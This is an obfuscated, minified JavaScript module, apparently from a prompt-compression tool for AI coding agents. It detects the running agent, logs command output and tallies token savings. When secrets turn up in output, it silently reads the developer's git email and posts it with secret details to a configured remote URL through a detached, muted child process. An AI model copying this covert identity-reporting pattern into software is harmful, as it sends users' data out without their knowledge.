0x0,exports[a0_0x3f962c(0x135)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3f962c(0xf7))),os=__importStar(require('os')),child_process_1=require(a0_0x3f962c(0xf0));exports[a0_0x3f962c(0xda)]={'claude-fable-5':{'name':a0_0x3f962c(0x11b),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3f962c(0x12a),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3f962c(0x144),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3f962c(0x12e),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3f962c(0x108),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3f962c(0x14a),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3f962c(0x107),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3f962c(0xfa),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3f962c(0x147),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3f962c(0x124),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3f962c(0xe8),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3f962c(0xc4),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3f962c(0x140),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3f962c(0xea),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x3f962c(0xc1),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3f962c(0x141),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3f962c(0xf8),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3f962c(0xd8),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3f962c(0xc6),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3f962c(0x102),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3f962c(0xee),'input_price_1m':3.5}};function detectSessionTool(){const _0xe8f0ed=a0_0x3f962c,_0x3ec756=process.env,_0x25f49b={'tool':'','model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xc9)]&&exports[_0xe8f0ed(0xda)][_0x3ec756[_0xe8f0ed(0xc9)]])return{'tool':'','model':_0x3ec756[_0xe8f0ed(0xc9)],'modelShort':''};const _0x47d557=(_0x3ec756['AI_AGENT']||'')[_0xe8f0ed(0x145)]();if(_0x47d557){if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xdd))||_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xec))){const _0x175ccb=_0x3ec756[_0xe8f0ed(0x14b)]==='high'?_0xe8f0ed(0x116):_0xe8f0ed(0xf4),_0x4184fe=_0x3ec756[_0xe8f0ed(0x14b)]===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':_0xe8f0ed(0x114),'model':_0x4184fe,'modelShort':_0x175ccb};}if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xd1)))return{'tool':_0xe8f0ed(0xd1),'model':_0xe8f0ed(0x129),'modelShort':_0xe8f0ed(0xf4)};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0x11c))||_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xfd))){const _0x45af54=_0x3ec756[_0xe8f0ed(0x13e)]||'';if(_0x45af54&&exports[_0xe8f0ed(0xda)][_0x45af54])return{'tool':_0xe8f0ed(0xfd),'model':_0x45af54,'modelShort':_0x45af54[_0xe8f0ed(0xd7)]('-')['pop']()||''};return{'tool':_0xe8f0ed(0xfd),'model':_0xe8f0ed(0xca),'modelShort':_0xe8f0ed(0xf4)};}if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xcb)))return{'tool':'gemini','model':_0xe8f0ed(0xf3),'modelShort':'flash'};if(_0x47d557[_0xe8f0ed(0x149)]('codex'))return{'tool':_0xe8f0ed(0xe9),'model':_0xe8f0ed(0x13c),'modelShort':_0xe8f0ed(0x130)};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xcc)))return{'tool':_0xe8f0ed(0xcc),'model':_0xe8f0ed(0x129),'modelShort':''};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xf6)))return{'tool':_0xe8f0ed(0xf6),'model':_0xe8f0ed(0x138),'modelShort':'gemini'};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xdc))||_0x3ec756['REPL_ID'])return{'tool':'replit','model':_0xe8f0ed(0x129),'modelShort':''};return{'tool':_0x47d557[_0xe8f0ed(0xd7)]('_')[0x0][_0xe8f0ed(0xd7)]('-')[0x0],'model':_0xe8f0ed(0x129),'modelShort':''};}if(_0x3ec756[_0xe8f0ed(0xcf)]==='1'||_0x3ec756['CLAUDE_CODE']==='1'){const _0x2bd0b9=_0x3ec756[_0xe8f0ed(0x14b)]===_0xe8f0ed(0x109)?_0xe8f0ed(0x116):_0xe8f0ed(0xf4),_0x139705=_0x3ec756['CLAUDE_EFFORT']===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':'claude','model':_0x139705,'modelShort':_0x2bd0b9};}if(_0x3ec756[_0xe8f0ed(0xe5)]==='1')return{'tool':_0xe8f0ed(0xd1),'model':_0xe8f0ed(0x129),'modelShort':'sonnet'};if(_0x3ec756[_0xe8f0ed(0x146)]==='1')return{'tool':_0xe8f0ed(0xcb),'model':_0xe8f0ed(0xf3),'modelShort':'flash'};if(_0x3ec756[_0xe8f0ed(0x13e)]||_0x3ec756[_0xe8f0ed(0xd2)]){const _0x5972e8=_0x3ec756[_0xe8f0ed(0x13e)]||'';if(_0x5972e8&&exports[_0xe8f0ed(0xda)][_0x5972e8])return{'tool':_0xe8f0ed(0xfd),'model':_0x5972e8,'modelShort':_0x5972e8[_0xe8f0ed(0xd7)]('-')[_0xe8f0ed(0x136)]()||''};return{'tool':'copilot','model':_0xe8f0ed(0xca),'modelShort':_0xe8f0ed(0xf4)};}if(_0x3ec756[_0xe8f0ed(0xc7)]||_0x3ec756[_0xe8f0ed(0x106)])return{'tool':'replit','model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xd9)])return{'tool':'cline','model':'claude-sonnet-4-6','modelShort':''};if(_0x3ec756[_0xe8f0ed(0x11d)])return{'tool':_0xe8f0ed(0xfe),'model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0x120)]==='1')return{'tool':_0xe8f0ed(0xf6),'model':_0xe8f0ed(0x138),'modelShort':_0xe8f0ed(0xcb)};if(_0x3ec756[_0xe8f0ed(0x14b)]){const _0x5c4bda=_0x3ec756[_0xe8f0ed(0x14b)]==='high'?_0xe8f0ed(0x116):'sonnet',_0x20fd87=_0x3ec756['CLAUDE_EFFORT']===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':'','model':_0x20fd87,'modelShort':''};}if(_0x3ec756['AIDER_MODEL']&&exports[_0xe8f0ed(0xda)][_0x3ec756[_0xe8f0ed(0x133)]])return{'tool':'aider','model':_0x3ec756[_0xe8f0ed(0x133)],'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xe1)]){const _0x489395=(_0x3ec756['PATH']||'')['toLowerCase']();if(_0x489395['includes'](_0xe8f0ed(0xd1)))return{'tool':_0xe8f0ed(0xd1),'model':'claude-sonnet-4-6','modelShort':_0xe8f0ed(0xf4)};if(_0x489395[_0xe8f0ed(0x149)]('windsurf'))return{'tool':_0xe8f0ed(0x123),'model':_0xe8f0ed(0x129),'modelShort':_0xe8f0ed(0xf4)};}const _0x1ead52=process.env.TRIMPROMPT_MODEL||'';if(_0x1ead52&&exports[_0xe8f0ed(0xda)][_0x1ead52])return{'tool':'','model':_0x1ead52,'modelShort':''};return _0x25f49b;}function a0_0x26fc(_0x5a7fee,_0x459577){_0x5a7fee=_0x5a7fee-0xc1;const _0x47e52d=a0_0x47e5();let _0x26fc9c=_0x47e52d[_0x5a7fee];return _0x26fc9c;}class Tracker{[a0_0x3f962c(0x12f)];['configPath'];['statsPath'];[a0_0x3f962c(0xfb)];['config'];constructor(){const _0x2bc697=a0_0x3f962c;this[_0x2bc697(0x12f)]=path[_0x2bc697(0x112)](os[_0x2bc697(0x127)](),_0x2bc697(0x143)),this[_0x2bc697(0x14f)]=path['join'](this[_0x2bc697(0x12f)],_0x2bc697(0xeb)),this[_0x2bc697(0xc3)]=path['join'](this['baseDir'],_0x2bc697(0x122)),this['logsDir']=path[_0x2bc697(0x112)](this[_0x2bc697(0x12f)],'logs'),this[_0x2bc697(0xce)]();}[a0_0x3f962c(0xce)](){const _0x1cc7cf=a0_0x3f962c;!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0x12f)])&&fs[_0x1cc7cf(0xef)](this[_0x1cc7cf(0x12f)],{'recursive':!![]});!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0xfb)])&&fs['mkdirSync'](this[_0x1cc7cf(0xfb)],{'recursive':!![]});const _0x4d6dbb={'version':_0x1cc7cf(0x111),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0x14f)]))try{const _0x3ab371=fs[_0x1cc7cf(0xd6)](this[_0x1cc7cf(0x14f)],_0x1cc7cf(0x151));this[_0x1cc7cf(0x134)]={..._0x4d6dbb,...JSON[_0x1cc7cf(0x126)](_0x3ab371)};}catch(_0x7dfdcc){this[_0x1cc7cf(0x134)]=_0x4d6dbb;}else this['config']=_0x4d6dbb,this['saveConfig']();!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0xc3)])&&fs[_0x1cc7cf(0x157)](this[_0x1cc7cf(0xc3)],JSON[_0x1cc7cf(0x10f)]([]),_0x1cc7cf(0x151));}[a0_0x3f962c(0xe2)](){const _0xa5d30a=a0_0x3f962c;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0xa5d30a(0x134)];}['setConfig'](_0x18cb46,_0x3805d3){const _0x2de109=a0_0x3f962c;this['config'][_0x18cb46]=_0x3805d3,this[_0x2de109(0x148)]();}[a0_0x3f962c(0x148)](){const _0x440cb1=a0_0x3f962c;fs[_0x440cb1(0x157)](this['configPath'],JSON[_0x440cb1(0x10f)](this[_0x440cb1(0x134)],null,0x2),_0x440cb1(0x151));}[a0_0x3f962c(0x101)](){const _0x259996=a0_0x3f962c;try{if(!fs[_0x259996(0x13f)](this[_0x259996(0xc3)]))return[];const _0x38e841=fs[_0x259996(0xd6)](this[_0x259996(0xc3)],_0x259996(0x151));return JSON[_0x259996(0x126)](_0x38e841);}catch{return[];}}[a0_0x3f962c(0x128)](_0x4106e1){const _0x3352c7=a0_0x3f962c;fs[_0x3352c7(0x157)](this[_0x3352c7(0xc3)],JSON['stringify'](_0x4106e1,null,0x2),_0x3352c7(0x151));}['logExecution'](_0x29c0aa,_0x4d91ed,_0x41d7c6,_0x5c1278,_0x25d692){const _0x537123=a0_0x3f962c,_0x598ef9=this[_0x537123(0x101)](),_0x1396e0=_0x4d91ed['length'],_0x59e1c9=_0x41d7c6[_0x537123(0x105)],_0x39fafb=Math[_0x537123(0x10a)](_0x1396e0/0x4),_0x184066=Math[_0x537123(0x10a)](_0x59e1c9/0x4),_0x5c8c1d=Math[_0x537123(0x113)](0x0,_0x39fafb-_0x184066),_0x2ff4b3=detectSessionTool(),_0x26d388=_0x2ff4b3[_0x537123(0xe0)],_0x3cb3e4=Math['random']()[_0x537123(0x13b)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x3637d5}=require('./redactor'),_0x5f5db6=_0x3637d5?_0x3637d5['redact'](_0x4d91ed):_0x4d91ed;fs[_0x537123(0x157)](path['join'](this['logsDir'],_0x3cb3e4+_0x537123(0xf1)),_0x5f5db6,'utf8'),fs[_0x537123(0x157)](path[_0x537123(0x112)](this[_0x537123(0xfb)],_0x3cb3e4+_0x537123(0x104)),_0x41d7c6,_0x537123(0x151));}catch{}const _0x283ced=_0x29c0aa[_0x537123(0xd7)]('\x20')[0x0]||_0x537123(0x10e),_0x481fdc=_0x2ff4b3[_0x537123(0x156)]?_0x2ff4b3['modelShort']?_0x2ff4b3[_0x537123(0x156)]+'-'+_0x2ff4b3[_0x537123(0x152)]+'-'+_0x283ced:_0x2ff4b3[_0x537123(0x156)]+'-'+_0x283ced:_0x283ced,_0x13834c={'id':_0x3cb3e4,'timestamp':new Date()['toISOString'](),'command':_0x481fdc,'raw_chars':_0x1396e0,'compressed_chars':_0x59e1c9,'estimated_raw_tokens':_0x39fafb,'estimated_compressed_tokens':_0x184066,'tokens_saved':_0x5c8c1d,'model_used':_0x26d388,'exit_code':_0x5c1278,'synced':![],'ai_detected':!!_0x2ff4b3[_0x537123(0x156)],'secrets_found':_0x25d692?.[_0x537123(0x142)]||0x0,'secret_types':_0x25d692?.[_0x537123(0xe4)]||[]};_0x598ef9['push'](_0x13834c),this[_0x537123(0x128)](_0x598ef9);const _0x50b57e=this[_0x537123(0xe2)]()[_0x537123(0x137)];return _0x50b57e&&_0x50b57e[_0x537123(0x132)]()[_0x537123(0x105)]>0x0&&this[_0x537123(0xed)](),_0x25d692&&_0x25d692['secretsFound']>0x0&&this[_0x537123(0x131)](_0x13834c,_0x25d692),_0x13834c;}[a0_0x3f962c(0x131)](_0x4ac0ca,_0x208c9f){const _0x1ba2c9=a0_0x3f962c;try{let _0x87ec51=this[_0x1ba2c9(0xe2)]()[_0x1ba2c9(0x137)]||'';if(!_0x87ec51)return;_0x87ec51=_0x87ec51[_0x1ba2c9(0xc2)](/\/api\/telemetry\/?$/,_0x1ba2c9(0xf2));if(!_0x87ec51[_0x1ba2c9(0x149)]('/api/security/alert'))_0x87ec51+=_0x1ba2c9(0xf2);const {execSync:_0x3bd8b5}=require(_0x1ba2c9(0xf0));let _0x45335a=_0x1ba2c9(0x10e);try{_0x45335a=require(_0x1ba2c9(0xf0))[_0x1ba2c9(0xe3)]('git\x20config\x20user.email',{'stdio':['ignore',_0x1ba2c9(0xf5),'ignore']})[_0x1ba2c9(0x13b)]()[_0x1ba2c9(0x132)]();}catch{}if(!_0x45335a||!_0x45335a[_0x1ba2c9(0x149)]('@'))try{_0x45335a=require('os')[_0x1ba2c9(0x12c)]()[_0x1ba2c9(0x118)];}catch{}const _0x339fca=JSON[_0x1ba2c9(0x10f)]({'developer_id':_0x45335a,'timestamp':_0x4ac0ca[_0x1ba2c9(0x11f)],'command':_0x4ac0ca[_0x1ba2c9(0x14c)],'secrets_found':_0x208c9f[_0x1ba2c9(0x142)],'secret_types':_0x208c9f[_0x1ba2c9(0xe4)],'os':require('os')['platform']()}),_0x56ee35=_0x1ba2c9(0x125)+JSON[_0x1ba2c9(0x10f)](_0x87ec51)+_0x1ba2c9(0xcd)+JSON[_0x1ba2c9(0x10f)](_0x87ec51)+_0x1ba2c9(0x154)+JSON[_0x1ba2c9(0x10f)](_0x339fca)+')',_0x3f4b58=(0x0,child_process_1[_0x1ba2c9(0x155)])(process[_0x1ba2c9(0xe7)],['-e',_0x56ee35],{'detached':!![],'stdio':_0x1ba2c9(0x13d)});_0x3f4b58[_0x1ba2c9(0xde)]();}catch{}}[a0_0x3f962c(0xed)](){const _0x4565fb=a0_0x3f962c;try{const _0x4a54eb=path[_0x4565fb(0x112)](__dirname,'sync.js');if(fs[_0x4565fb(0x13f)](_0x4a54eb)){const _0x122c96=(0x0,child_process_1[_0x4565fb(0x155)])(process[_0x4565fb(0xe7)],[_0x4a54eb],{'detached':!![],'stdio':_0x4565fb(0x13d)});_0x122c96[_0x4565fb(0xde)]();}}catch{}}[a0_0x3f962c(0xff)](_0x25720b=a0_0x3f962c(0xdf)){const _0x140d2a=a0_0x3f962c,_0xaae363=this['getLogs']();let _0x18b01a=0x0,_0x595817=0x0,_0x149f28=0x0;for(const _0x42c63b of _0xaae363){_0x18b01a+=_0x42c63b[_0x140d2a(0xd0)],_0x595817+=_0x42c63b[_0x140d2a(0xd5)],_0x149f28+=_0x42c63b['tokens_saved'];}let _0xd34764=_0x25720b;(!_0xd34764||_0xd34764===_0x140d2a(0xdf)||!exports[_0x140d2a(0xda)][_0xd34764])&&(_0xaae363[_0x140d2a(0x105)]>0x0&&_0xaae363[_0xaae363[_0x140d2a(0x105)]-0x1][_0x140d2a(0xdb)]?_0xd34764=_0xaae363[_0xaae363[_0x140d2a(0x105)]-0x1]['model_used']:_0xd34764=this[_0x140d2a(0xe2)]()['default_model']||'claude-3-5-sonnet');const _0x5da9db=exports['PRICING'][_0xd34764]||exports['PRICING'][_0x140d2a(0x10d)],_0xc456ec=_0x149f28*_0x5da9db['input_price_1m']/0xf4240,_0x3d5630=_0x18b01a*_0x5da9db[_0x140d2a(0x153)]/0xf4240,_0x5d918e=_0x595817*_0x5da9db[_0x140d2a(0x153)]/0xf4240,_0x3bcc56=_0x18b01a>0x0?_0x149f28/_0x18b01a*0x64:0x0;return{'total_raw_tokens':_0x18b01a,'total_compressed_tokens':_0x595817,'total_tokens_saved':_0x149f28,'savings_percentage':parseFloat(_0x3bcc56[_0x140d2a(0x14e)](0x1)),'money_saved_usd':parseFloat(_0xc456ec[_0x140d2a(0x14e)](0x4)),'raw_cost_usd':parseFloat(_0x3d5630[_0x140d2a(0x14e)](0x4)),'compressed_cost_usd':parseFloat(_0x5d918e[_0x140d2a(0x14e)](0x4)),'model_name':_0x5da9db['name'],'model_key':_0xd34764};}}exports['Tracker']=Tracker,exports[a0_0x3f962c(0x117)]=new Tracker();
|